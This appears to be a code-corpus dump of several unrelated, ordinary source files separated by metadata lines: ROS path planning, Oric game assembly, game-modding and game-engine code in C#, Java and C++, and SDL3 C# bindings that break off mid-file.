def check_collision(self, cell_a, cell_b, margin=0): """ Checks whether the path between two cells in the occupancy grid is collision free. The margin is done by checking if adjacent cells are also free. One of the issues is that if the starting cell is next to a wall, then it already considers there to be a collision. See check_collision_loose Args: cell_a (i, j): index of cell a in occupancy grid cell_b (i, j): index of cell b in occupancy grid margin (int): margin of safety around the path Returns: collision (bool): whether path between two cells would cause collision """ for i in range(-margin, margin + 1): # for the margin, check cell_a_margin = (cell_a[0], cell_a[1] + i) cell_b_margin = (cell_b[0], cell_b[1] + i) for cell in self.utils.traverse_grid(cell_a_margin, cell_b_margin): if (cell[0] * cell[1] < 0) or (cell[0] >= self.grid_height) or (cell[1] >= self.grid_width): continue try: if self.occupancy_grid[cell] == self.IS_OCCUPIED: return True except: self.get_logger().info(f"Sampled point is out of bounds: {cell}") return True return False def check_collision_loose(self, cell_a, cell_b, margin=0): """ Checks whether the path between two cells in the occupancy grid is collision free. The margin is done by checking if adjacent cells are also free. This looser implementation only checks half way for meeting the margin requirement. Args: cell_a (i, j): index of cell a in occupancy grid cell_b (i, j): index of cell b in occupancy grid margin (int): margin of safety around the path Returns: collision (bool): whether path between two cells would cause collision """ for i in range(-margin, margin + 1): # for the margin, check cell_a_margin = (int((cell_a[0] + cell_b[0]) / 2), int((cell_a[1] + cell_b[1]) / 2) + i) cell_b_margin = (cell_b[0], cell_b[1] + i) for cell in self.utils.traverse_grid(cell_a_margin, cell_b_margin): if (cell[0] * cell[1] < 0) or (cell[0] >= self.grid_height) or (cell[1] >= self.grid_width): continue try: if self.occupancy_grid[cell] == self.IS_OCCUPIED: return True except: self.get_logger().info(f"Sampled point is out of bounds: {cell}") return True return False def find_path(self, T_start, T_goal, pruning=True): """ Returns a path as a list of Nodes connecting the starting point to the goal once the latest added node is close enough to the goal Args: tree ([]): current tree as a list of Nodes latest_added_node (Node): latest added node in the tree Returns: path ([]): valid path as a list of Nodes """ # traverse up T_start to obtain path to sampled point node = T_start[-1] path_start = [node.pos] while node.parent is not None: node = T_start[node.parent] path_start.append(node.pos) # traverse up T_goal to obtain path to sampled point node = T_goal[-1] path_goal = [node.pos] while node.parent is not None: node = T_goal[node.parent] path_goal.append(node.pos) # return path path = np.array(path_start[::-1] + path_goal[1:]) # pruning if enabled if pruning: sub_paths = [] for i in range(len(path) - 2): sub_path = path for j in range(i + 2, len(path)): if not self.check_collision(path[i], path[j]): sub_path = np.vstack((path[: i + 1], path[j:])) sub_paths.append(sub_path) costs = np.array([np.linalg.norm(p[1:] - p[:-1]).sum() for p in sub_paths]) path = sub_paths[np.argmin(costs)] return path class Utils: def __init__(self): pass def draw_marker(self, frame_id, stamp, position, publisher, color="red", id=0): if position is None: return marker = Marker() marker.header.frame_id = frame_id marker.header.stamp = stamp marker.id = id marker.type = marker.SPHERE marker.action = marker.ADD marker.scale.x = 0.25 marker.scale.y = 0.25 marker.scale.z = 0.25 marker.color.a = 1.0 if color == "red": marker.color.r = 1.0 elif color == "green": marker.color.g = 1.0 elif color == "blue": marker.color.b = 1.0 marker.pose.position.x = position[0] marker.pose.position.y = position[1] marker.pose.position.z = 0.0 publisher.publish(marker) def draw_marker_array(self, frame_id, stamp, positions, publisher): marker_array = MarkerArray() for i, position in enumerate(positions): if position is None: continue marker = Marker() marker.header.frame_id = frame_id marker.header.stamp = stamp marker.id = i marker.type = marker.SPHERE marker.action = marker.ADD marker.scale.x = 0.3 marker.scale.y = 0.3 marker.scale.z = 0.3 marker.color.a = 1.0 marker.color.r = 0.0 marker.color.g = 1.0 marker.color.b = 0.0 marker.pose.position.x = position[0] marker.pose.position.y = position[1] marker.pose.position.z = 0.0 marker.lifetime = Duration(seconds=0.1).to_msg() marker_array.markers.append(marker) publisher.publish(marker_array) def draw_lines(self, frame_id, stamp, path, publisher): points = [] for i in range(len(path) - 1): a = path[i] b = path[i + 1] point = Point() point.x = a[0] point.y = a[1] points.append(copy.deepcopy(point)) point.x = b[0] point.y = b[1] points.append(copy.deepcopy(point)) line_list = Marker() line_list.header.frame_id = frame_id line_list.header.stamp = stamp line_list.id = 0 line_list.type = line_list.LINE_LIST line_list.action = line_list.ADD line_list.scale.x = 0.1 line_list.color.a = 1.0 line_list.color.r = 0.0 line_list.color.g = 1.0 line_list.color.b = 0.0 line_list.points = points publisher.publish(line_list) def traverse_grid(self, start, end): """ Bresenham's line algorithm for fast voxel traversal CREDIT TO: Rogue Basin CODE TAKEN FROM: http://www.roguebasin.com/index.php/Bresenham%27s_Line_Algorithm """ # Setup initial conditions x1, y1 = start x2, y2 = end dx = x2 - x1 dy = y2 - y1 # Determine how steep the line is is_steep = abs(dy) > abs(dx) # Rotate line if is_steep: x1, y1 = y1, x1 x2, y2 = y2, x2 # Swap start and end points if necessary and store swap state if x1 > x2: x1, x2 = x2, x1 y1, y2 = y2, y1 # Recalculate differentials dx = x2 - x1 dy = y2 - y1 # Calculate error error = int(dx / 2.0) ystep = 1 if y1 < y2 else -1 # Iterate over bounding box generating points between start and end y = y1 points = [] for x in range(x1, x2 + 1): coord = (y, x) if is_steep else (x, y) points.append(coord) error -= abs(dy) if error < 0: y += ystep error += dx return points class WaypointUtils: def __init__( self, node, L=1.7, interpolation_distance=None, filepath="/f1tenth_ws/racelines/e7_floor5.csv", min_lookahead=0.5, max_lookahead=3.0, min_lookahead_speed=3.0, max_lookahead_speed=6.0, filepath_2nd="/f1tenth_ws/racelines/e7_floor5.csv", lane_number=0, ): self.node = node self.L = L # dynamic lookahead distance self.min_lookahead = min_lookahead self.max_lookahead = max_lookahead self.min_lookahead_speed = min_lookahead_speed self.max_lookahead_speed = max_lookahead_speed self.waypoints_world, self.velocities = self.load_and_interpolate_waypoints( file_path=filepath, interpolation_distance=interpolation_distance ) # For competition, where I want to customize the lanes that I am using self.lane_number = lane_number self.waypoints_world_2nd, self.velocities_2nd = self.load_and_interpolate_waypoints( file_path=filepath_2nd, interpolation_distance=interpolation_distance ) self.index = 0 self.velocity_index = 0 print(f"Loaded {len(self.waypoints_world)} waypoints") def transform_waypoints(self, waypoints, car_position, pose): # translation waypoints = waypoints - car_position # rotation quaternion = np.array([pose.orientation.x, pose.orientation.y, pose.orientation.z, pose.orientation.w]) waypoints = R.inv(R.from_quat(quaternion)).apply(waypoints) return waypoints def load_and_interpolate_waypoints(self, file_path, interpolation_distance=0.05): # Read waypoints from csv, first two columns are x and y, third column is velocity # Exclude last row, because that closes the loop points = np.genfromtxt(file_path, delimiter=",")[:, :2] velocities = np.genfromtxt(file_path, delimiter=",")[:, 2] # Add first point as last point to complete loop self.node.get_logger().info(str(velocities)) # interpolate, not generally needed because interpolation can be done with the solver, where you feed in target distance between points if interpolation_distance != 0 and interpolation_distance is not None: # Calculate the cumulative distances between points distances = np.sqrt(np.sum(np.diff(points, axis=0) ** 2, axis=1)) cumulative_distances = np.insert(np.cumsum(distances), 0, 0) # Calculate the number of segments based on the desired distance threshold total_distance = cumulative_distances[-1] segments = int(total_distance / interpolation_distance) # Linear length along the line distance = np.cumsum(np.sqrt(np.sum(np.diff(points, axis=0) ** 2, axis=1))) # Normalize distance between 0 and 1 distance = np.insert(distance, 0, 0) / distance[-1] # Interpolate alpha = np.linspace(0, 1, segments) interpolator = interp1d(distance, points, kind="slinear", axis=0) interpolated_points = interpolator(alpha) # Interpolate velocities velocity_interpolator = interp1d(distance, velocities, kind="slinear") interpolated_velocities = velocity_interpolator(alpha) # Add z-coordinate to be 0 interpolated_points = np.hstack((interpolated_points, np.zeros((interpolated_points.shape[0], 1)))) assert len(interpolated_points) == len(interpolated_velocities) return interpolated_points, interpolated_velocities else: # Add z-coordinate to be 0 points = np.hstack((points, np.zeros((points.shape[0], 1)))) return points, velocities def get_closest_waypoint_with_velocity(self, pose): # get current position of car if pose is None: return position = (pose.position.x, pose.position.y, 0) # transform way-points from world to vehicle frame of reference if self.lane_number == 0: waypoints_car = self.transform_waypoints(self.waypoints_world, position, pose) else: waypoints_car = self.transform_waypoints(self.waypoints_world_2nd, position, pose) # get distance from car to all waypoints distances = np.linalg.norm(waypoints_car, axis=1) # get indices of waypoints sorted by ascending distance self.velocity_index = np.argmin(distances) if self.lane_number == 0: return self.waypoints_world[self.velocity_index], self.velocities[self.velocity_index] else: return self.waypoints_world_2nd[self.velocity_index], self.velocities_2nd[self.velocity_index] def get_waypoint_stanley(self, pose): # get current position of car if pose is None: return position = (pose.position.x, pose.position.y, 0) # transform way-points from world to vehicle frame of reference if self.lane_number == 0: waypoints_car = self.transform_waypoints(self.waypoints_world, position, pose) else: waypoints_car = self.transform_waypoints(self.waypoints_world_2nd, position, pose) # get distance from car to all waypoints distances = np.linalg.norm(waypoints_car, axis=1) # get indices of waypoints sorted by ascending distance index = np.argmin(distances) if self.lane_number == 0: return waypoints_car[index], self.waypoints_world[index] else: return waypoints_car[index], self.waypoints_world_2nd[index] def get_waypoint(self, pose, target_velocity, fixed_lookahead=None): # get current position of car if pose is None: return position = (pose.position.x, pose.position.y, 0) # transform way-points from world to vehicle frame of reference if self.lane_number == 0: waypoints_car = self.transform_waypoints(self.waypoints_world, position, pose) else: waypoints_car = self.transform_waypoints(self.waypoints_world_2nd, position, pose) # get distance from car to all waypoints distances = np.linalg.norm(waypoints_car, axis=1) # get indices of waypoints that are within L, sorted by descending distance # Use dynamic lookahead for this part if fixed_lookahead: self.L = fixed_lookahead else: # Lookahead is proportional to velocity self.L = min( max( self.min_lookahead, self.min_lookahead + (self.max_lookahead - self.min_lookahead) * (target_velocity - self.min_lookahead_speed) / (self.max_lookahead_speed - self.min_lookahead_speed), ), self.max_lookahead, ) indices_L = np.argsort(np.where(distances < self.L, distances, -1))[::-1] # set goal point to be the farthest valid waypoint within distance L for i in indices_L: # check waypoint is in front of car x = waypoints_car[i][0] if x > 0: self.index = i if self.lane_number == 0: return waypoints_car[self.index], self.waypoints_world[self.index] else: return waypoints_car[self.index], self.waypoints_world_2nd[self.index] return None, None def main(args=None): rclpy.init(args=args) print("Stanley Avoidance Initialized") stanley_avoidance_node = StanleyAvoidance() rclpy.spin(stanley_avoidance_node) stanley_avoidance_node.destroy_node() rclpy.shutdown() if __name__ == "__main__": main()
0
0.886037
1
0.886037
game-dev
MEDIA
0.361018
game-dev
0.955576
1
0.955576
Oric-Software-Development-Kit/Oric-Software
3,296
users/twilighte/Wurlde/SSC_Modules/SSCM-OM4S6.S
;SSCM-OM4S6.S BROKEN PATH - brokensky.MEM ON WURLDE.DSK ;1) Oscillating wire #include "..\gamecode\WurldeDefines.s" #include "..\gamecode\SSCModuleHeader.s" .zero *=$00 #include "..\gamecode\ZeroPage.s" .text *=$C000 ;************************** ScreenSpecificCodeBlock jmp ScreenInit ;C000 ;Run immediately after SSC(This file) is loaded jmp ScreenRun ;C003 ;Run during a game cycle jmp CollisionDetection ;C006 ;Run during game cycle and parsed Collision Type in A jmp ProcAction ;C009 ;Called when Recognised Key Pressed jmp Spare ;C00C jmp Spare ;C00F jmp Spare ;C012 jmp Spare ;C015 ScreenProseVector .byt <ScreenProse,>ScreenProse ;C018 ScreenNameVector .byt <ScreenName,>ScreenName ;C01A ScreenRules .byt %10001100 ;C01C LocationID .byt 7 ;C01D RecognisedAction .byt %00010000 ;C01E CollisionType .byt 0 ;C01F CollisionTablesVector .byt <ct_CeilingLevel,>ct_CeilingLevel ;C020 ScreenInlayVector .byt <ScreenInlay,>ScreenInlay ;C022 EnteringTextVector ;Enter Boat .byt 0,0 ;C024 InteractionHeaderVector ;This SSC has no meeting place so 0 must be written to high address .byt 0,0 ;C026 CharacterList ; .byt 0,0 ;C028 CharacterInfo .byt 0,0 ;C02A ;************************** ;Collision tables(120) always exist in first page of C000 ct_CeilingLevel .dsb 40,128 ct_FloorLevel .dsb 40,128 ct_BGCollisions .dsb 40,0 ScreenInlay #include "INLAY-OM4S6.s" ;BROKEN PATH - brokensky.MEM ON WURLDE.DSK #include "SSC_CommonCode.s" ScreenProse ;Up to 37x7 characters ; *********************************** .byt "The Path abruptly terminates with a%" .byt "lift cage and wire. This seems the%" .byt "only passage up the mountain now.%" .byt "The Cage has handles on either side%" .byt "and a strange ratchet mechanism%" .byt "linking the cage to the wire cable.%" .byt "A pull chain swings on the A Frame.]" ScreenName ;Always 13 characters long ; ************* .byt "BROKEN PATH]" ScreenInit jsr InitialiseHero Spare rts ;Parsed ;SideApproachFlag Hero Appears on Left(0) or Right(1) InitialiseHero ;For this screen.. lda SideApproachFlag .( bne InitHero4Right ;Set initial hero sprite frame lda #98 sta HeroSprite ;Set Hero X to left ldx #3 stx HeroX ;Set hero y to land contour lda ct_FloorLevel,x sec sbc #9 sta HeroY ;Set other stuff lda #3 sta SpriteWidth lda #9 sta SpriteHeight ;Set initial action to stand right lda #hcStandRight sta HeroAction rts InitHero4Right .) lda #105 sta HeroSprite ;Game start (For Map02) parameters ldx #34 stx HeroX ;Set hero y to land contour lda ct_FloorLevel,x sec sbc #09 sta HeroY ;Set a few defaults lda #3 sta SpriteWidth lda #9 sta SpriteHeight ;Set initial Action lda #hcStandLeft sta HeroAction rts ;Called from DetectFloorAndCollisions in hero.s when the floortable(A) contains ;0,64,128,192 depending on collision(9,10,11,12) ;For M2S5 it is unused ; ;Returned ;Carry Set when move prohibited CollisionDetection ;For this screen we need to store 9(2 places) where the hero may board the boat sta CollisionFound rts CollisionFound .byt 0 ScreenRun rts ;When the hero performs a recognised action this routine is called ;ProcAction ; ; ProcAction rts
0
0.900053
1
0.900053
game-dev
MEDIA
0.98609
game-dev
0.912742
1
0.912742
Rogueadyn/SaintCoinach
3,006
SaintCoinach.Graphics.Viewer/Content/ContentTerritory.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SaintCoinach.Graphics.Viewer.Content { using SharpDX; public class ContentTerritory : Drawable3DComponent { #region Fields private ComponentContainer _TerrainContainer = new ComponentContainer(); private ComponentContainer _LgbPartsContainer = new ComponentContainer(); #endregion #region Properties public Territory Territory { get; private set; } #endregion #region Constructor public ContentTerritory(Engine engine, Territory territory) : base(engine) { this.Territory = territory; if (territory.Terrain != null) { foreach (var part in territory.Terrain.Parts) _TerrainContainer.Add(new ContentModel(engine, part)); } foreach (var lgb in territory.LgbFiles) { foreach(var group in lgb.Groups) { foreach(var part in group.Entries) { var asMdl = part as Lgb.LgbModelEntry; var asGim = part as Lgb.LgbGimmickEntry; if (asMdl != null && asMdl.Model != null) _LgbPartsContainer.Add(new ContentModel(engine, asMdl.Model)); if (asGim != null && asGim.Gimmick != null) _LgbPartsContainer.Add(new ContentSgb(engine, asGim.Gimmick) { Transformation = Matrix.Scaling(asGim.Header.Scale.ToDx()) * Matrix.RotationX(asGim.Header.Rotation.X) * Matrix.RotationY(asGim.Header.Rotation.Y) * Matrix.RotationZ(asGim.Header.Rotation.Z) * Matrix.Translation(asGim.Header.Translation.ToDx()) }); } } } } #endregion public override void LoadContent() { _TerrainContainer.LoadContent(); _LgbPartsContainer.LoadContent(); base.LoadContent(); } public override void UnloadContent() { _TerrainContainer.UnloadContent(); _LgbPartsContainer.UnloadContent(); base.UnloadContent(); } public override void Update(EngineTime engineTime) { _TerrainContainer.Update(engineTime); _LgbPartsContainer.Update(engineTime); base.Update(engineTime); } public override void Draw(EngineTime time, ref SharpDX.Matrix world, ref SharpDX.Matrix view, ref SharpDX.Matrix projection) { _TerrainContainer.Draw(time, ref world, ref view, ref projection); _LgbPartsContainer.Draw(time, ref world, ref view, ref projection); } } }
0
0.773628
1
0.773628
game-dev
MEDIA
0.627855
game-dev,graphics-rendering
0.972877
1
0.972877
SavageLabs/SavageFactions
3,695
src/main/java/com/massivecraft/factions/cmd/CmdDisband.java
package com.massivecraft.factions.cmd; import com.massivecraft.factions.*; import com.massivecraft.factions.event.FactionDisbandEvent.PlayerDisbandReason; import com.massivecraft.factions.struct.Permission; import com.massivecraft.factions.struct.Role; import com.massivecraft.factions.zcore.fperms.Access; import com.massivecraft.factions.zcore.fperms.PermissableAction; import com.massivecraft.factions.zcore.util.TL; import org.bukkit.Bukkit; import org.bukkit.command.ConsoleCommandSender; import java.util.HashMap; /** * This class was originally written by Dariasc (FactionsUUID) **/ public class CmdDisband extends FCommand { private static HashMap<String, String> disbandMap = new HashMap<>(); public CmdDisband() { super(); this.aliases.add("disband"); this.optionalArgs.put("faction tag", "yours"); this.requirements = new CommandRequirements.Builder(Permission.DISBAND) .build(); } @Override public void perform(CommandContext context) { // The faction, default to your own.. but null if console sender. Faction faction = context.argAsFaction(0, context.fPlayer == null ? null : context.faction); if (faction == null) return; boolean isMyFaction = context.fPlayer != null && faction == context.faction; if (!isMyFaction) { if (!Permission.DISBAND_ANY.has(context.sender, true)) { return; } } if (context.fPlayer != null && !context.fPlayer.isAdminBypassing()) { Access access = faction.getAccess(context.fPlayer, PermissableAction.DISBAND); if (context.fPlayer.getRole() != Role.LEADER && faction.getFPlayerLeader() != context.fPlayer && access != Access.ALLOW) { context.msg(TL.GENERIC_FPERM_NOPERMISSION, "disband " + faction.getTag()); return; } } if (!faction.isNormal()) { context.msg(TL.COMMAND_DISBAND_IMMUTABLE.toString()); return; } if (faction.isPermanent()) { context.msg(TL.COMMAND_DISBAND_MARKEDPERMANENT.toString()); return; } // THis means they are a console command sender. if (context.player == null) { faction.disband(null, PlayerDisbandReason.PLUGIN); return; } // check for tnt before disbanding. if (!disbandMap.containsKey(context.player.getUniqueId().toString()) && faction.getTnt() > 0) { context.msg(TL.COMMAND_DISBAND_CONFIRM.toString().replace("{tnt}", faction.getTnt() + "")); disbandMap.put(context.player.getUniqueId().toString(), faction.getId()); Bukkit.getScheduler().scheduleSyncDelayedTask(SavageFactions.plugin, () -> disbandMap.remove(context.player.getUniqueId().toString()), 200L); } else if (faction.getId().equals(disbandMap.get(context.player.getUniqueId().toString())) || faction.getTnt() == 0) { if (SavageFactions.plugin.getConfig().getBoolean("faction-disband-broadcast", true)) { for (FPlayer follower : FPlayers.getInstance().getOnlinePlayers()) { String amountString = context.sender instanceof ConsoleCommandSender ? TL.GENERIC_SERVERADMIN.toString() : context.fPlayer.describeTo(follower); if (follower.getFaction() == faction) { follower.msg(TL.COMMAND_DISBAND_BROADCAST_YOURS, amountString); if (!follower.canFlyAtLocation()) { follower.setFFlying(false, false, false); } } else { follower.msg(TL.COMMAND_DISBAND_BROADCAST_NOTYOURS, amountString, faction.getTag(follower)); } } } else { context.player.sendMessage(String.valueOf(TL.COMMAND_DISBAND_PLAYER)); } faction.disband(context.player, PlayerDisbandReason.COMMAND); if (!context.fPlayer.canFlyAtLocation()) { context.fPlayer.setFFlying(false, false, false); } } } @Override public TL getUsageTranslation() { return TL.COMMAND_DISBAND_DESCRIPTION; } }
0
0.711425
1
0.711425
game-dev
MEDIA
0.992742
game-dev
0.957529
1
0.957529
vividos/UnderworldAdventures
2,482
uwadv/source/import/GameStringsImporter.hpp
// // Underworld Adventures - an Ultima Underworld remake project // Copyright (c) 2003,2004,2005,2006,2019 Underworld Adventures Team // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // /// \file GameStringsImporter.hpp /// \brief game data import // #pragma once #include "Base.hpp" #include "File.hpp" #include <map> #include <vector> class GameStrings; namespace Base { class ResourceManager; } namespace Import { /// importer for game strings class GameStringsImporter { public: /// ctor; takes gamestrings object to populate GameStringsImporter(GameStrings& gs) :m_gs(gs) { } /// loads the default strings.pak file void LoadDefaultStringsPakFile(Base::ResourceManager& resourceManager); /// loads strings.pak file from given filename void LoadStringsPakFile(const char* filename); /// loads strings.pak file from RWops object void LoadStringsPakFile(Base::SDL_RWopsPtr rwops); private: /// loads string block from open .pak file void LoadStringBlock(Uint16 blockId); private: /// strings.pak huffman node structure struct StringsPakHuffmanNode { int symbol; ///< character symbol in that node int parent; ///< parent node int left; ///< left node (-1 when no node) int right; ///< right node }; /// game strings object to populate GameStrings& m_gs; /// .pak file Base::File m_pak; /// file size of .pak file long m_fileSize; /// a map of all blocks and their offsets available in the file std::map<Uint16, Uint32> m_allBlockOffsets; /// a vector with all huffman nodes for the given .pak file std::vector<StringsPakHuffmanNode> m_allNodes; }; } // namespace Import
0
0.879326
1
0.879326
game-dev
MEDIA
0.962034
game-dev
0.560065
1
0.560065
EpicSentry/P2ASW
3,634
src/game/server/swarm/asw_buffgrenade_projectile.cpp
#include "cbase.h" #include "asw_buffgrenade_projectile.h" #include "asw_marine.h" #include "asw_shareddefs.h" #include "asw_marine_skills.h" // memdbgon must be the last include file in a .cpp file!!! #include "tier0/memdbgon.h" #define BUFFGREN_MODEL "models/items/Mine/mine.mdl" LINK_ENTITY_TO_CLASS( asw_buffgrenade_projectile, CASW_BuffGrenade_Projectile ); BEGIN_DATADESC( CASW_BuffGrenade_Projectile ) END_DATADESC() IMPLEMENT_SERVERCLASS_ST( CASW_BuffGrenade_Projectile, DT_ASW_BuffGrenade_Projectile ) END_SEND_TABLE() ConVar asw_buffgrenade_gravity( "asw_buffgrenade_gravity", "1000", FCVAR_CHEAT, "Gravity of buffgrenades" ); CASW_BuffGrenade_Projectile::CASW_BuffGrenade_Projectile() { SetModelName( MAKE_STRING( BUFFGREN_MODEL ) ); m_pSkill = NULL; m_iSkillPoints = 1; m_nSkin = 1; } void CASW_BuffGrenade_Projectile::Precache( void ) { PrecacheScriptSound( "ASW_BuffGrenade.GrenadeActivate" ); PrecacheScriptSound( "ASW_BuffGrenade.ActiveLoop" ); PrecacheScriptSound( "ASW_BuffGrenade.StartBuff" ); PrecacheScriptSound( "ASW_BuffGrenade.BuffLoop" ); PrecacheModel( "swarm/sprites/whiteglow1.vmt" ); PrecacheModel( "swarm/sprites/greylaser1.vmt" ); PrecacheModel("models/items/shield_bubble/shield_bubble.mdl"); //PrecacheModel("models/props_combine/coreball.mdl"); BaseClass::Precache(); } float CASW_BuffGrenade_Projectile::GetGrenadeGravity( void ) { return asw_buffgrenade_gravity.GetFloat(); } bool CASW_BuffGrenade_Projectile::ShouldTouchEntity( CBaseEntity *pEntity ) { CASW_Marine *pMarine = CASW_Marine::AsMarine( pEntity ); if ( pMarine ) { return true; } return false; } //----------------------------------------------------------------------------- // Purpose: Add the buff to this marine //----------------------------------------------------------------------------- void CASW_BuffGrenade_Projectile::StartAOE( CBaseEntity *pEntity ) { BaseClass::StartAOE( pEntity ); CASW_Marine *pMarine = CASW_Marine::AsMarine( pEntity ); if ( !pMarine ) { return; } pMarine->AddDamageBuff( this, m_flTimeBurnOut - gpGlobals->curtime ); //NDebugOverlay::Box( pMarine->GetAbsOrigin(), Vector( -16, -16, -16 ), Vector( 16, 16, 16 ), 0, 0, 255, 200, 0.5 ); EHANDLE hMarine = pMarine; if ( m_hBuffedMarines.Find( hMarine ) == m_hBuffedMarines.InvalidIndex() ) { m_hBuffedMarines.AddToTail( hMarine ); } } //----------------------------------------------------------------------------- // Purpose: Stop healing this target //----------------------------------------------------------------------------- bool CASW_BuffGrenade_Projectile::StopAOE( CBaseEntity *pEntity ) { bool bFound = BaseClass::StopAOE( pEntity ); CASW_Marine *pMarine = CASW_Marine::AsMarine( pEntity ); if ( !pMarine ) { return bFound; } if ( bFound ) { pMarine->RemoveDamageBuff(); } return bFound; } CASW_BuffGrenade_Projectile* CASW_BuffGrenade_Projectile::Grenade_Projectile_Create( const Vector &position, const QAngle &angles, const Vector &velocity, const AngularImpulse &angVelocity, CBaseEntity *pOwner, float flRadius, float flDuration ) { CASW_BuffGrenade_Projectile *pGrenade = (CASW_BuffGrenade_Projectile *)CreateEntityByName( "asw_buffgrenade_projectile" ); pGrenade->m_flRadius = flRadius; pGrenade->m_flDuration = flDuration; pGrenade->SetAbsAngles( angles ); pGrenade->Spawn(); pGrenade->SetOwnerEntity( pOwner ); //Msg("making pBuffGrenade with velocity %f,%f,%f\n", velocity.x, velocity.y, velocity.z); UTIL_SetOrigin( pGrenade, position ); pGrenade->SetAbsVelocity( velocity ); return pGrenade; }
0
0.910458
1
0.910458
game-dev
MEDIA
0.946125
game-dev
0.584699
1
0.584699
ppy/SDL3-CS
16,559
SDL3-CS/SDL3/ClangSharp/SDL_iostream.g.cs
/* <auto-generated/> C# bindings for Simple DirectMedia Layer. Original copyright notice of input files: Simple DirectMedia Layer Copyright (C) 1997-2024 Sam Lantinga <slouken@libsdl.org> This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ using System; using System.Runtime.InteropServices; namespace SDL { public enum SDL_IOStatus { SDL_IO_STATUS_READY, SDL_IO_STATUS_ERROR, SDL_IO_STATUS_EOF, SDL_IO_STATUS_NOT_READY, SDL_IO_STATUS_READONLY, SDL_IO_STATUS_WRITEONLY, } public enum SDL_IOWhence { SDL_IO_SEEK_SET, SDL_IO_SEEK_CUR, SDL_IO_SEEK_END, } public unsafe partial struct SDL_IOStreamInterface { [NativeTypeName("Uint32")] public uint version; [NativeTypeName("Sint64 (*)(void *)")] public delegate* unmanaged[Cdecl]<IntPtr, long> size; [NativeTypeName("Sint64 (*)(void *, Sint64, SDL_IOWhence)")] public delegate* unmanaged[Cdecl]<IntPtr, long, SDL_IOWhence, long> seek; [NativeTypeName("size_t (*)(void *, void *, size_t, SDL_IOStatus *)")] public delegate* unmanaged[Cdecl]<IntPtr, IntPtr, nuint, SDL_IOStatus*, nuint> read; [NativeTypeName("size_t (*)(void *, const void *, size_t, SDL_IOStatus *)")] public delegate* unmanaged[Cdecl]<IntPtr, IntPtr, nuint, SDL_IOStatus*, nuint> write; [NativeTypeName("bool (*)(void *, SDL_IOStatus *)")] public delegate* unmanaged[Cdecl]<IntPtr, SDL_IOStatus*, SDLBool> flush; [NativeTypeName("bool (*)(void *)")] public delegate* unmanaged[Cdecl]<IntPtr, SDLBool> close; } public partial struct SDL_IOStream { } public static unsafe partial class SDL3 { [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_IOStream* SDL_IOFromFile([NativeTypeName("const char *")] byte* file, [NativeTypeName("const char *")] byte* mode); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_IOStream* SDL_IOFromMem([NativeTypeName("void*")] IntPtr mem, [NativeTypeName("size_t")] nuint size); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_IOStream* SDL_IOFromConstMem([NativeTypeName("const void *")] IntPtr mem, [NativeTypeName("size_t")] nuint size); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_IOStream* SDL_IOFromDynamicMem(); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_IOStream* SDL_OpenIO([NativeTypeName("const SDL_IOStreamInterface *")] SDL_IOStreamInterface* iface, [NativeTypeName("void*")] IntPtr userdata); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_CloseIO(SDL_IOStream* context); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_PropertiesID SDL_GetIOProperties(SDL_IOStream* context); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] public static extern SDL_IOStatus SDL_GetIOStatus(SDL_IOStream* context); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("Sint64")] public static extern long SDL_GetIOSize(SDL_IOStream* context); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("Sint64")] public static extern long SDL_SeekIO(SDL_IOStream* context, [NativeTypeName("Sint64")] long offset, SDL_IOWhence whence); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("Sint64")] public static extern long SDL_TellIO(SDL_IOStream* context); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("size_t")] public static extern nuint SDL_ReadIO(SDL_IOStream* context, [NativeTypeName("void*")] IntPtr ptr, [NativeTypeName("size_t")] nuint size); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("size_t")] public static extern nuint SDL_WriteIO(SDL_IOStream* context, [NativeTypeName("const void *")] IntPtr ptr, [NativeTypeName("size_t")] nuint size); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("size_t")] public static extern nuint SDL_IOprintf(SDL_IOStream* context, [NativeTypeName("const char *")] byte* fmt, __arglist); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("size_t")] public static extern nuint SDL_IOvprintf(SDL_IOStream* context, [NativeTypeName("const char *")] byte* fmt, [NativeTypeName("va_list")] byte* ap); [DllImport("SDL3", CallingConvention = CallingConvention.Cdecl, ExactSpelling = true)] [return: NativeTypeName("bool")] public static extern SDLBool SDL_FlushIO(SDL_IOStream* context); [DllImport("SDL3", CallingConvention = 